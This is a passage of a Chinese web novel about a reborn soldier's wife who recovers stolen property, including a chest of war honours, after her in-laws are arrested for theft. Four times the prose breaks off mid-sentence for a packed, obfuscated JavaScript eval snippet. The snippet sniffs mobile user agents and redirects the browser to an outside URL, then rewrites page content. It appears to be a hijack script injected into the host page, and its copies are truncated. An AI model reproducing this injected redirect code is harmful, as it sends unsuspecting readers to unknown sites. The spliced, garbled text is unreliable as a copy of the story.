肉票！工业券！ 银手镯！梅花手表！ 负责登记的公安不禁咋舌，心想这军属的家底儿可真够厚的，怪不得会被人惦记上直接给家都偷了呢。 不过听到苏南来说起手镯和手表，一旁凑热闹的年轻公安忍不住挠了挠脑袋，总觉得在哪儿看见过一块梅花手表，想了半天，猛地一拍手：“啊！我想起来了——” “就赵金花那小儿子和小闺女，叫啥……宋宝柱和宋宝珍！”年轻人总是藏不住事，一想起来就猛地拍着手，仿佛破案了一样激动说道，“你刚说的那个银手镯和梅花手表就在他俩手上戴着呢！” 万万没想到这俩物件已经被偷的苏南来：“……” 刚从领导那边回来就又来活儿的王德彪：“！！！” …… 宋宝柱和宋宝珍，是赵金花在宋望北14岁那年，老蚌怀珠得来的一对龙凤胎。 赵金花之所以说宋望北是天煞孤星非要给他轰出家门，就是因为她怀孕时做过胎梦，具体是啥她从没说过，但在这对龙凤胎生出来后，连作为长子的宋大柱和向来嘴甜讨喜的宋三柱都得往后排，就算是他们俩结婚以后生下的孙子孙女也都比不上这对龙凤胎在赵金花心里的位置。 包括这回她没像之前那样当着村里人各种哭穷卖惨相对委婉的要钱手段，而是选择直接动手抢钱偷家的过激行为，也是因为宋宝柱和宋宝珍该读初中了，赵金花需要钱供他们去县里读书。 这点，苏南来也都在笔录中说得很清楚。 苏南来：“赵金花一直说我丈夫是天煞孤星，说她后生的那对龙凤胎，也就是宋宝柱和宋宝珍兄妹俩是将来会有大作为的仙童仙女，我一直说她这是迷信，是需要被破除的旧思想！但她不光不信还造谣说我是谁沾谁倒霉的扫把星！现在看来，这宋宝柱和宋宝珍才是——” “咳咳咳！” 王德彪使劲清了清嗓子，打断了苏南来同样带有迷信色彩的话，将话题转回了被偷走的东西上面：“现在看来，老宋家的人同样有作案嫌疑，就算没有亲自参与，也是有分赃嫌疑的共犯。” 说着，王德彪看向在场的公安，下达命令：“立刻派人，对老宋家进行再一次的搜查，同时把赵金花的所有直系亲属，包括她丈夫、子女全都带回县公安！尤其是宋宝柱和宋宝珍这两个人和赵金花涉嫌大金额物品的偷窃，必须严查！” “是！我们现在就出发！” 11. 第 11 章 第11章 一声令下，全队出马。 县公安有配车，几个年轻公安上车就走，没俩小时，就把老宋家的人给“一窝端”了。 几个公安虎着脸将这一家子推搡进来时，苏南来正在和县公安里唯一一位叫王芳的年轻女公安聊天呢。 俩人聊得起劲儿，就听见一阵鬼哭狼嚎，再一回头，就看见了满是狼狈的老宋一家子人正用充满仇恨目光盯着苏南来。 宋福贵、宋大柱和宋三柱习惯了躲在替他们冲锋陷阵的女人背后充好人，眼神中倒是没什么怨怼，只是习惯用一副老实的姿态，一边装可怜，一边任由一旁的崔爱红、赵焕楠以及宋宝柱、宋宝珍兄弟，对着苏南来破口大骂。 虽说一旁的公安立刻呵斥住了他们几个人对苏南来的辱骂行为，却架不住这一家子都耳濡目染了赵金花撒泼打滚的技能，就在那一哭二闹三上吊，说着自己如何如何可怜竟然被苏南来这个“亲嫂子（妯娌）”给报警抓起来如何如何的话。 这都是老宋家人惯用的“一个唱白脸，一个唱红脸”的老套路了。 苏南来听这些听得都要耳朵起茧子了。 她有些意兴阑珊地掏了掏耳朵，心里多少有些遗憾赵金花已经被关起来，不然也轮不到这几个骂来骂去都只会那几句难听话，骂人都骂不到点儿上的人站在这里给自己逗趣儿。 瞅瞅，这才骂几句，就在公安的呵斥下怂得不敢再说话了，对比起赵金花敢在公安领导面前撒泼打滚，把难听话骂出花儿来的表现，老宋家剩下的这几个人……啧，没劲。 苏南来决定让老宋家的人见识见识啥叫真正能膈应人的演技—— “王芳同志，既然人都抓回来了，我是不是能去认领被偷走的东西，然后就能回家了？”苏南来一副被骂怕了恨不得立刻离开这里的样子，可怜又委屈地说道。 “这……” 王芳有些拿不准，正想说去问问王德彪呢，苏南来就先搂着闺女埋头呜呜地哭了起来。 “我也不是想为难你们，可王同志你年轻也还没成家，不知道我这男人不在家的苦啊……” 要说卖惨装可怜，苏南来在末世可没少靠这招拿人头，如今重生回来，这手艺自然也没落下，那叫一个手到擒来，说着话的工夫，泪珠子就落到了腮边： “……家里公爹死得早，实在亲戚也都死绝了，根本没人能帮忙照顾孩子，我男人又常年在部队，家里家外都得靠我一个人操持不说，还得防着外人惦记。往年还好点，孩子她爸还有个探亲假，这外人知道他年年得回来一趟，也就不敢太蹬鼻子上脸，可谁能想到，我男人今年才刚说他要出任务不能回来过年，我家就让人给偷了！ “……这眼瞅着就要过年了……我们娘俩可怎么办啊……” 说到这，苏南来没再往下说，只摆出一副“老实人被欺负得过头都不知道该怎么告状”的样子，哭得是闻者伤心见者落泪。 不管在哪个年代，军人都是被人所敬佩的，连带着军属也一样值得尊重。 见苏南来哭成这样，在场的几个小公安都是既同情又愤怒，对老宋家人的态度也是肉眼可见的恶劣起来，显然是被苏南来的话影响得开始同仇敌忾起来。 崔爱红和赵焕楠被众人愤怒的目光吓得不敢再叫嚣，倒是老宋家的几个男人被气得牙根痒痒。 尤其是听着苏南来一口一个“外人”，一句一个“死绝了”的话，作为宋望北血缘上的亲爹，宋福贵差点没能维持住自己“老实人”的伪装，心想宋有牛个到死都没结过婚的老光棍子，算TM哪门子的爹！他这个亲老子还活得好好的呢！ 至于被苏南来说得也跟着一起“死绝”了的宋大柱和宋三柱这俩亲兄弟，也是一口银牙都快给咬碎了。要不是旁边还好几个公安虎视眈眈着，他们都恨不得立刻冲过去给她的嘴缝死！ 王德彪正好在这时候从楼上办公室下来，见到这一幕，只觉得自己是一个脑袋两个大。 “都在那杵着干啥呢！还不赶紧把人关起来！”看着手底下那几个跟呆头鹅似的，还站在一边傻愣着看热闹的小公安，王德彪一嗓子就给他们吓唬回神了。 几个小年轻赶紧就把还想再试图求情的老宋家这几口子人的手一背，就跟听不见他们鬼哭狼嚎声音似的，给他们送去跟赵金花“汇合”了。 王德彪见罪魁祸首被带下去了，心里多少松了口气，可看着还在那抽泣的苏南来，又是一阵头疼。 王德彪试图安抚道：“苏同志，你的难处我们都理解，我刚就是去跟领导打申请的，我们领导已经同意，允许你在案子没结案前就能把丢失的钱财带回去……” 说到这，他看着苏南来泪眼婆娑还不忘护着怀里孩子的瘦弱身躯，下意识对比起了赵金花那堪比地主婆子的肥硕身躯，和刚看到的老宋家其他人那一张张红光满脸的脸……真是讽刺至极。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179342|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 再想想刚在老宋家搜查并带回来的那些东西…… 王德彪不住叹了口气，沉声喊到一旁的王芳，说道：“芳子，你带苏同志去你那屋洗把脸，等拾掇利索了再带她去登记室，她家被偷走的那些东西都在登记室呢。” 说着，王德彪又对苏南来说道：“苏同志，我们都能理解你的难处，你家被偷走的财物，我们已经尽数替你追回了，我们领导也是在听说了你的情况后就同意你的请求，所以，你一会儿只需要去登记室确定好丢失数目，再签个字就能把丢失的财务拿回家了。” 王德彪：“还有赵金花一家偷窃的这个事情，我请你也不要担心，我们肯定会秉公执法，绝对不会再让他们骚扰你了！” 说这话时，王德彪那叫一个掷地有声，明显是要给苏南来一个满意的交代。 对此，苏南来倒是愿意给他个面子，没再哭哭啼啼地揪着这事不放，跟着去王芳的换衣间洗脸去了。 …… 洗过脸，苏南来哄着怀里还在睡的闺女喝了点水，就在王芳的带领下来到了县公安的登记处。 期待已久的环节终于到了！ 苏南来，跃跃欲试、摩拳擦掌、精神振奋……激动得说出来的话都快成病句了！ 病句就病句吧，她等会儿都要把不管是自己还是不是自己的东西都搂回自己家去了，还管说话有没有病句吗！ 苏南来激动的心情似乎也影响到了怀里的女儿。 宋圆圆从医院离开那一刻就被苏南来用被子包着捆在后背上，趴在她妈背上睡了一路，中间发生的那些对话都没能影响她在药物作用下的沉睡，连自己刚刚被喂过水都不记得，唯有苏南来无声的兴奋能让她在熟睡中醒来。 “圆圆醒了？哎呀，我闺女可真能睡，瞅瞅这小脸蛋儿，都给睡得红扑扑了。”察觉到怀里闺女的动静，苏南来连忙抱着抱被颠了颠，又从兜里掏出个手绢，给还睡眼朦胧的闺女擦了擦脑门，生怕她睡出汗再给折腾感冒。 看了看宋圆圆乖乖趴在她肩头上的样子，苏南来只觉得自己这心，都柔软得像是弹好的棉花，又暖和又安心。 苏南来怕走得太快会带动起风吹到还没醒盹儿的闺女，刻意放满了脚步，低头柔声说道：“圆圆，咱们很快就能回家了，等妈把咱家丢了的东西全都找出来以后，咱们就能带着东西，坐着公安叔叔的小汽车回家了……” 王德彪：“……” 12. 第 12 章 第12章 王德彪刚还寻思苏南来咋搁门口半天不进来，正打算亲自招呼她进来呢，结果就听见苏南来这一番又给自己找活干的话……不是，啥就小汽车了？！ 王德彪心想，自己没有带人坐小汽车再给人送回去的资格……除非领导批准！ 再次被cue的领导：“阿嚏——” （怎么今天老有人想我？！） 王德彪并不知道因为自己，正在省里开会的领导已经打了好几喷嚏，开始怀疑自己是不是感冒了。 他只知道，苏南来这位苦主，简直是他这么多年工作中闻所未闻，见所未见的那种……过于敢想敢说又抹得开面的类型，而这种类型的苦主，简直是自己职业生涯里的克星！ 但不管咋样，该完成的工作还得完成。 王德彪在深呼吸了几个回合后，一副好像没听见苏南来刚才有在说话的样子，十分公事公办地说道：“苏同志，从老宋家搜罗来的东西都被放进了这间屋子。不过刚我也说了，这些东西在结案前都属于赃物，是不能被放还的，只是你情况特殊，才能被破例，但你也得额外写个保证书，证实这些东西都是你丢失的。” 说着，王德彪就带着苏南来往屋门口走。 当下年代的公安系统，还不像后世那样系统完善，对于从嫌疑人家里搜查出来的疑似赃款赃物的物品，都还没有正儿八经的存放处，只是随便找了间办公室放，也没有看守的人，只把门一锁，有钥匙就能随便进。 当然，这钥匙也不是随便谁都能有的。 王德彪手里的钥匙算是其中一把。 苏南来在王德彪的招呼下，和王芳一前一后地走进了这间屋子。 房间内没什么摆设，左边是摆满一整面墙的抽屉柜，右边则是摞起来的一个个纸箱子，中间一张大桌子和四把椅子，旁边还有个小的被锁上的抽屉的办公桌。 王德彪拉开一把椅子就坐在了办公桌旁，边示意苏南来坐到旁边大桌子前，边把别在腰上的钥匙串拿下来，从中找出了能打开办公桌抽屉的钥匙。 在打开抽屉后，王德彪从里面拿出一沓纸，边翻找边解释：“别看屋里头东西多，但不管是啥东西，只要放进这间屋就必须得先一式两份地登记清楚。而这些东西也甭管是谁的、被谁拿去哪，只要离开这间屋，拿走的人也必须得签字。” “哎找到了——” 王德彪在一沓纸中抽出了登记着记有从老宋家搜查出来钱款和物品的登记表，招呼王芳去旁边那摞箱子中找对应登记表箱子的同时，嘴里还不忘嘀咕道： “这登记室的小张也是的，这刚给送进来还没半小时的东西，这登记表干啥非得掺着放在这一沓表里头呢？害得我这一把年纪还得眯着眼睛挨张找！” “您咋不说人小张同志做事麻利儿，这才刚送进来的东西就给装好了呢！”王芳和登记室的小张年貌相当，那小张长得又挺清秀的，她对人家多少有点意思，自然不乐意听王德彪的话。 苏南来抱着闺女坐在椅子上，听着王德彪和王芳俩人的对话，又仔细端详了下俩人的长相……多少明白了王芳这个年轻到也就初中毕业的年纪却能直接在县公安工作的原因，但这俩人到底是啥关系跟她都没关系，苏南来也装不知道地低头哄着闺女，等着王芳把箱子拿过来。 王芳把箱子放在苏南来面前桌上的同时，王德彪把手里的登记表递给了苏南来：“我刚才看你是自己填的登记表，应该是能写会认，你就拿着这表对，我拿着你刚填的表。” 王德彪的意思很明白—— 两张表。 一张是县公安这边按照搜查出的物品登记的； 一张是苏南来根据她家里现有的东西填的。 王芳负责把箱子里的东西一样一样往外拿，苏南来和王德彪则拿着互相填写的登记表一样一样对比，对上的就是苏南来丢的，没对上的就看是缺了还是多了。 多出来的就代表和苏南来没关系，不是她丢的；对不上数的则得找赵金花和老宋家核实，核实好了还得给苏南来补上。 苏南来看了一眼被递过来的表，心中暗喜：王德彪递过来的这份登记表上写的内容和她那份表内容几乎重叠，只是多了个……樟木箱子？ 看到登记表最后一行写的“带锁樟木箱”几个字时，苏南来只觉得自己刚刚的窃喜像是个笑话，也像是一闷棍，打得她整个人都摇摇欲坠了起来，随之而来的，还有遏制不住的冲天怒火。 她紧攥着这张表，恨不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191389|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得立刻钻进桌上的纸箱子将上面所写的樟木箱子捧回怀里，可又怕吓到懵懂不知的闺女，只能咬紧牙关，将登记表拍在桌上，沉声道：“这上面写的樟木箱子，你们是从哪儿找到的。” 王德彪净顾着在心里感慨苏南来所填的那张表上的那些值钱东西，没注意到她语气的不对，只分神想了想，说道： “这个就在老宋家炕头上搁着呢。我们一开始没以为那是偷来的，还以为是他们家自己的，但又怕他们把偷来的钱或是票啥的锁在这箱子里头，就让他们打开，但他们没钥匙，我们这才反应过来这箱子也可能是偷的，就一起带回来了。” “要我说，就算他们有钥匙也有可能是偷的。”王芳在旁边插了一嘴，“这樟木箱子一般都是家里有闺女做来当嫁妆的，那老宋家就一个还在上学的闺女，除非是他家儿媳妇陪嫁妆陪来的，不然就指定是偷的！” 樟木箱又叫女儿箱，是他们当地普遍的嫁妆箱。 别看王芳年纪小，可她爸妈疼她，打她出生就在自家院子里种了香樟树，就为以后她结婚时用来做嫁妆箱。 王芳说完自己的看法，又看向苏南来，笃定道：“苏同志，这箱子应该就是你的嫁妆箱吧？不过你那樟木箱子小了点，也就能装点戒子、镯子啥的小首饰……你等等，我现在就给你找出来！” 苏南来没有回答对方这箱子是否是她的陪嫁，只在王芳找出箱子后，无比小心地接过来，又仔细看了看上面锁头，确定没有被动过的痕迹后，这才松了口气。 见她这么紧张这箱子，王德彪生怕对方的家底远不止登记表上写的那些，甚至真正大头钱都锁在这箱子里头，连忙问道： “苏同志你这箱子里面是不是有啥贵重物品？不会是啥易碎物吧？我们当时运回来的时候也没太注意这箱子，但我保证这箱子没被碰过摔过！”王德彪说着，心想，所以这里头东西要是坏了可也别找我们，肯定都是老宋家的锅！ “这箱子里装的，的确是很重要……不，是非常珍贵的物品。”苏南来没理会王德彪明显甩锅的话，只抬手摸出挂在脖子上的红绳，露出上面被拴着的钥匙，打开了桌上的箱子。 伴随着“咔”的一声轻响，带有独特香味的樟木箱子被缓缓打开…… 13. 第 13 章 第13章 这樟木箱子有两层。 上面那层放的东西，有苏南来和宋望北的结婚证和一张双人合影照，一个绣着“宋抗美”三个字的小肚兜和裹在里面的出生证明和印泥足印，以及一张在宋圆圆满月时，他们一家三口的合照。 下面那层是个暗抽屉，被拉出来时，王芳和王德彪都一边感慨其隐蔽，一边好奇着这个暗层里面会不会藏着什么宝贝。 很可惜。 里面不是金灿灿的小黄鱼，不是通透易碎的翡翠，不是价值连城的古董，更不是卷成卷到数不过来的钱……里面就只是几枚小小的徽章、一张奖证、一枚奖章、两份报纸和一张陈旧的手写证书。[注1] 王芳年纪轻，没把这几样东西当回事，正想说就这几个东西也用得着这么紧张，就看到刚还老神在在坐在椅子上的王德彪猛地站了起来，神情是前所未有的严肃。 “这些……” “这些都是我丈夫用命拼回来的荣誉，是用无数英勇无畏战士生命筑造出的胜利，是国家不容侵犯奋勇而战的证明……” 苏南来轻抚着几枚小小的勋章，旁边折好的军报恰好露出印着丈夫和其他战友满面笑容的部分，她的目光停留于此，手指却拿起了旁边毫不起眼的手写证明： “这张荣誉证书是我公公宋有牛在战场上为了救战友被炸没了一条腿后，他当时所在队伍的政委亲笔写下的，也是他临终前交代我一定要好好保管不能辜负老政委心意的唯二遗物——” “另一份遗物，就是这个樟木箱子。” 苏南来想起了记忆的宋有牛在打造这个箱子时所说的话，忍不住红了眼眶：“我没有娘家人，也没人为我准备嫁妆箱，我公公和我丈夫在结婚时，他们俩各位我打一对嫁妆箱子，我丈夫打的是对大箱子，我公公打的是对小箱子，说结婚以后不分娘家婆家，我们就是最亲的人。” “这箱子对我来说很珍贵，所以里面放的，也都是我觉得最珍贵的东西。” 苏南来将抽屉推回去，又把箱子盖好，轻轻抚摸着箱子，轻声道：“王同志，我很感谢你们能把它找回来。但我不能因为它能重新回到我手里，就原谅那些偷走它的人……” 说到这里，苏南来有些哽咽，让窝在她怀里的圆圆有些不安，抬头看向她也抬手用稚嫩的手心蹭着苏南来泛红的眼眶：“妈……不哭……” 宋圆圆瘪着嘴忍着不哭出来，还努力安慰苏南来的样子，彻底将苏南来强忍着的泪水催了下来。 王芳是个情感丰富的小姑娘，此时已经感动得小声啜泣起来，扯着王德彪的袖子骂道：“四叔，这老宋家和赵金花真太不是东西了，他们竟然连这么宝贵的东西都敢偷走，实在是太可恨了！必须要严肃处理他们！” …… “出大事了—— “宋福贵一家都被“大檐帽”给带走了！” 往日平静的山村，在车来抓人车又带人走的吵闹哭喊声中，定格在了村里最好事人之一的赵癞痢的这一声吼中。 至于村里另一个好事之徒为啥没跟着掺和、看热闹…… 主要是那人早在两天前就已经被公安带走拘留起来了。 没错，另一个好事之徒就是赵金花。 此时此刻，已经被拘留了两天三宿的赵金花还在试图抵抗命运，打死也不承认自己偷窃的行为，仍不死心地想要拉苏南来下水，坚持是对方单方面对自己进行殴打并丢下山坡的说法，并坚信自己总能出去，到时候就是她报仇的时刻！ “呜呜呜……” 赵金花正想着等自己出去以后，要如何如何整治折磨苏南来，好给她一个狠狠的教训时，忽然听到一阵耳熟的哭声，她猛地抬头看向自己所在拘留单间外正在打开的门—— 一个个熟悉的身影被推搡着走了进来。 一双双看向她的眼睛里都充满了愤怒。 赵金花张大了嘴巴却一点声音都喊不出来，一直到人都被关进去，她才挣扎着，像是才压住了心头惊起的愕然与恐惧，哭喊着：“我的宝柱、宝珍！咋能把你们也关进来——” …… 老宋家一个没落地被关进了拘留所。 就跟熬鹰似的，根本没人过来问他们话，也没人给他们机会辩白，抓他们过来好像就只是给他们关起来。但要关到什么时候呢？谁也不知道。 在如此紧张不安的氛围下，赵金花宛如哭丧的声声叫喊，变成了将种种情绪催化为愤怒、埋怨的导火索，尤其是她除了宋福贵外就只关心宋宝柱和宋宝珍，视他人如无物的行为，更是叫自觉被牵扯的宋大柱和宋三柱恼火。 “别嚎了！那俩小兔崽子连偷来的东西都敢戴在手上出去招摇，现在被抓进来也是活该！”被关在赵金花对面牢房的宋大柱最先发难，嘴里咒骂着宋宝柱和宋宝珍不够谨慎，也骂着赵金花偏心眼儿，说出来的话难听至极，仿佛撺掇赵金花去找苏南来要钱的人不是他。 此时，和他关在一起的宋三柱也没了往日赵金花拿钱拿票拿东西回家时的嘴甜模样。他倒没像宋大柱那样破口大骂，可一张嘴就是让赵金花赶紧认罪，明里暗里让她把错都揽到自己身上，甚至不惜以宋宝柱和宋宝珍为借口： “娘，我说这话没别的意思，毕竟不管是我还是大哥，我们都是要土里刨食一辈子的人，顶多是出去后会被人议论，但宝柱和宝珍不一样，他们可还得去县里读书，这要是让学校里的老师、同学知道他们因为偷东西被抓起来……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13204270|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放你娘的狗屁！宝柱和宝珍没偷东西！” “是是是，他们没偷东西，那手表和手镯是自个儿长腿儿跑到他们俩手上去的。这么说您听了是不是舒坦点？那到时候，您就这么跟公安同志说，看他们信不信！” 宋三柱说到这就没再往下说，只嘿嘿一笑，听着被关在旁边屋的宋宝柱和宋宝珍越发嚎啕的哭声，老神在在地学着亲爹宋福贵的样子，万事不再掺和地闭目养神起来。 如果说，宋三柱这话，能让宋宝柱和宋宝珍两个人感到恐惧绝望，那么也同能让原本还在破口大骂的宋大柱后知后觉地冷静下来。 是啊，他们有啥可怕的，这些年从苏南来手里抠钱的人就是赵金花，这回去她家抢钱的人也是她，跟他们有啥关系！ 别的不说，宋大柱瞥了一眼从进来后就一直闭目养神的亲爹，心里就踏实更明白了，宋福贵这是早在路上就盘算好把事情都推到赵金花身上了！ 至于宋宝柱和宋宝珍能不能捞出来，就得看赵金花给不给力了…… 想明白这点，宋大柱也不着急了。 着急的人，变成赵金花，和被她护得跟眼珠子似的宋宝柱和宋宝珍了。 就在向来分工明确的老宋家争辩不休地开始内讧时，从被关进来后就始至终都沉默地坐在一旁的赵焕楠却是若有所思地观察着了坐在一旁的妯娌崔爱红…… …… 老宋家的“狗咬狗”场面将会如何进行，苏南来并不关心，她此时此刻正心里哼着小曲，兜里揣着钱和票，怀里抱着闺女和箱子，身边是家里丢走又拿回来的衣服物件，坐着全县只有两辆的县公安所有的吉普车——回家！ 至于他们要被关多久、怎么判、能不能被放回来……这些事情，苏南来关心却参与不了，但只一点——不管这件事最后是由赵金花一个人出来把所有事都揽下来，还是持续僵局谁都不肯承认到底是谁偷的箱子，他们这一家子也是谁都逃脱不了干系。 如果只是偷钱、票和物件，那只抓赵金花一个人再把偷走的东西拿回来就能把事情了结。 但，谁让他们的手伸得太长了呢。 以为是螳螂捕蝉黄雀在后，却忘了谁是螳螂谁是黄雀。 想到自己离开前，王芳小声说的那句“我四叔说只要能确定参与偷窃，最好的结果也会被送去农场劳改”的话，苏南来就忍不住笑。 心想道：自己不愧是“反派”亲妈，重生开局第一把，就整垮了赵金花及她背后的老宋一家！ 不错不错，还得再接再厉！ 苏南来自我鼓励着。 不过的确是要再接再厉。 苏南来看着车窗外越来越熟悉的环境，心想，等回了大队，自己还得再打场“硬仗”啊。 14. 第 14 章 第14章 来时坐牛车，归时吉普车。 苏南来心想，四舍五入算起来，自己这也是“衣锦还乡”了。 “……那我就先回去了，有新的情况我们会直接电话通知到苏同志你所在的大队办公室。”赵公安是王德彪的徒弟，也是县公安里唯二会开车的人。 在开车送苏南来回来后，赵公安见东西不少，苏南来抱着孩子又不方便，便又花了点时间，帮忙把被偷走的东西给搬回了家。 “小赵同志，真的是太谢谢你还帮我把这些东西都给运下来了……回去路上慢点开车，也想着替我跟你师傅道声谢啊。” 两个人简单寒暄了几句后，赵公安开车离开。 目送着赵公安离开，苏南来就又迎来了因听见汽车引擎声而聚集过来的村民。 才一会儿工夫，人就围满了苏南来家的院子，想来是坐车回来时大伙儿就听见动静往她家这边赶了。 对于大伙儿投在她身上的炯炯目光，苏南来完全没觉得不好意思，只先笑着同最先赶过来的邱丽娟说道：“我家炕是您还是小溪帮我烧上的？真是太谢谢了，我还怕说回来点炕来不及，到时候再给我家圆圆冻着，结果刚进屋就发现屋里暖烘烘的……不过我家圆圆这会儿睡着了，咱就先在院里说几句吧。” 邱丽娟哪能听不出苏南来话里是不想让大伙儿在这待长，也不乐意跟他们说太多的意思，自然是配合默契地回答道：“圆圆这才刚输液输好了，难得能睡个踏实觉，可别给孩子吵醒了。” 说着，邱丽娟压低了声音道：“我过来也没别的事，就是你丰年叔去公社了，我家就我和小溪俩人吃饭，就说过来看看，想着你娘来要是没吃饭呢，就喊你们一块上家吃点去。不过既然这会儿孩子睡了，你们娘俩就别折腾了，我给你们送过来点。” “那敢情好啊，我们娘俩这一下午都在县公安协助办案，就囫囵在县公安食堂吃了两口。这一下午心里头装着事也不觉得饿，现在好不容易回家了还真是觉得有点饿。” “这不好好吃东西咋行！你也别操心晚上饭了，婶儿现在就回去给你热饭，一会工夫的事，到时候让小溪给你送过来！” 两个人旁若无人地说着，也将两家的关系之好暴露无遗。 一直到邱丽娟离开回家，苏南来才像是刚看到其他人似的，唬了一跳地说道：“哎呀，大伙儿都还在呢……这是，特意过来看我？真是怪不好意思的，我们娘俩都没事，不用担心！” 纯粹是听见动静过来想凑热闹的村民们：“……” 苏南来像是没看到大伙儿被她说得都有些尴尬的反应，一副唠家常的样子，继续说道：“我家这点事应该都传遍四外五村了，我这当事人倒成了最后一个知道的了，要不是公安同志上医院找我去，我都还不知道我家让人给偷了呢！” 对于被偷这事，苏南来绝口不提关于老宋家和赵金花，只意有所指道：“这回事情发生得太突然，我这前脚刚收到我家阿北说今年不能回家过年的信儿，后脚家就被偷了……嗐，要我说，这也就是赶上我家望北不回家过年，不然都不用辛苦咱县公安的同志跟着跑前跑后……” 这一说出来，原本隐藏在人群之中，一直直勾勾盯着苏南来身后那扇紧闭的屋门，想着里头会有多少值钱东西的二流子们是一听一个不吱声。 伴随着苏南来感慨她男人的话，几个人更是下意识退到最后，并十分默契地互看一眼，确定彼此都没了刚刚还想要顺手摸鱼的想法…… 这四外五村住着，谁不知道宋望北啊。 那可是上过战场，扛过枪杀过敌的人！ 他们几个也就只敢在附近几个村里摸个鸡蛋偷把葱，虽说是有点眼馋能叫赵金花全家都因偷东西而让“大帽檐”抓走的钱得有多少，但……想起宋望北上一次出手，直接打折了宋大柱和宋三柱这俩亲兄弟的腿……几个二流子觉得他们以后还是得离苏南来远点。 产生这想法的人，不止这几个还没做贼就先心虚的二流子，大伙儿也都后知后觉地想起了宋望北这些年的丰功伟绩，和他对苏南来娘俩的在意，这心里都多少有些发憷。 苏南来也的确是故意提起丈夫的，免得有那不长眼也不信邪的，学着赵金花那蠢货一样惦记起自家的东西。 话一说完，见众人神情有所收敛，苏南来又“打一棍子又给个甜枣”地继续说道：“但不管怎么说，这回真多亏了田队长和赵主任的及时发现，也得多谢大伙儿的帮助和公安同志的及时赶到才能把贼抓到，不然我家恐怕得让人搬空了还没地儿说理去！。” “……连县公安的领导同志都夸咱们大队的人，积极、善良、风气好！” 拉大旗，扯虎皮。 苏南来这话一说出来，大伙儿是彻底被唬住也被笼络住了——那可是县公安的领导啊，能得领导一句夸奖，那他们也就不用担心公社那边会因为队里出了赵金花的事儿，而对他们整个大队有看法，没准儿还能被另眼相看呢！ 毕竟，在赵金花没被找到时，他们大伙儿也都是出了力跟着把村里村外都找了一遍，一直找到天都黑了，也的确没辜负人县公安领导夸的那几个词。 在场的社员们都有些心潮澎湃，包括不少在头几天半夜跟着找赵金花的大伙儿也都满是挺骄傲，全然没了头两天四处跟人发牢骚的样子。 但也不是所有人都被苏南来唬住了。 在场的人里也有几个耳聪目明的，察觉到了苏南来这趟回来后性情的转变，心中暗道她终于开窍的同时，又不禁感慨这两口子还真是天生一对—— 从前是宋望北心疼媳妇，万事都由他出头，生怕别人吓着他这个小童养媳。如今看来苏南来也是个不怕事的主儿，从前没表露出来也是没真遇到事，跟她那个没缘分的娘一样，都是会扮猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214176|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃老虎的。 挺好！ 看破不说破。 意识到这点的人们下意识退到人群后面，眯着眼睛看向人群中几个还跃跃欲试想说点谁都不乐意听的话的蠢人，咧着嘴无声地抱以嘲笑的目光，表示：年纪大了，管不了事了，随便谁愿意当众出丑，都跟他们没关系，就当乐子看呗！ 正在这时，还真有人毫不畏惧地，迎着大伙儿看热闹不嫌事大的目光，从人群中站了出来…… …… 苏南来心想：来了来了！能帮自己刷新在队里人形象，白送上来给她杀鸡儆猴的人来了！ 看着站出来这人，苏南来挺意外。 毕竟这是她难得还能记得住名字的人。 ——住在村东头的徐寡妇。 苏南来对这人印象深刻的原因是她有个小儿麻痹的儿子，叫徐大壮。 徐大壮这人，因为小儿麻痹到现在三十来岁也没娶上媳妇，整天游手好闲不说，看见女同志就一副发/情的样子，是村里村外出了名的有贼心没贼胆的臭流氓。 早些年，这人还和苏南来耍过流氓……不，准确来说，是徐寡妇一手安排徐大壮和自己耍流氓。 徐大壮这人条件在那搁着，又因爱耍流氓而臭了名声，四外五村都没人乐意给他介绍对象。徐寡妇见正儿八经找媒人说媳妇的途径被堵死了，便憋了个坏主意，想让徐大壮和苏南来这个就算别欺负也没人撑腰的外乡拖油瓶生米煮成熟饭，好让徐大壮这个娶不上媳妇的天生残疾白得个不花钱的媳妇。 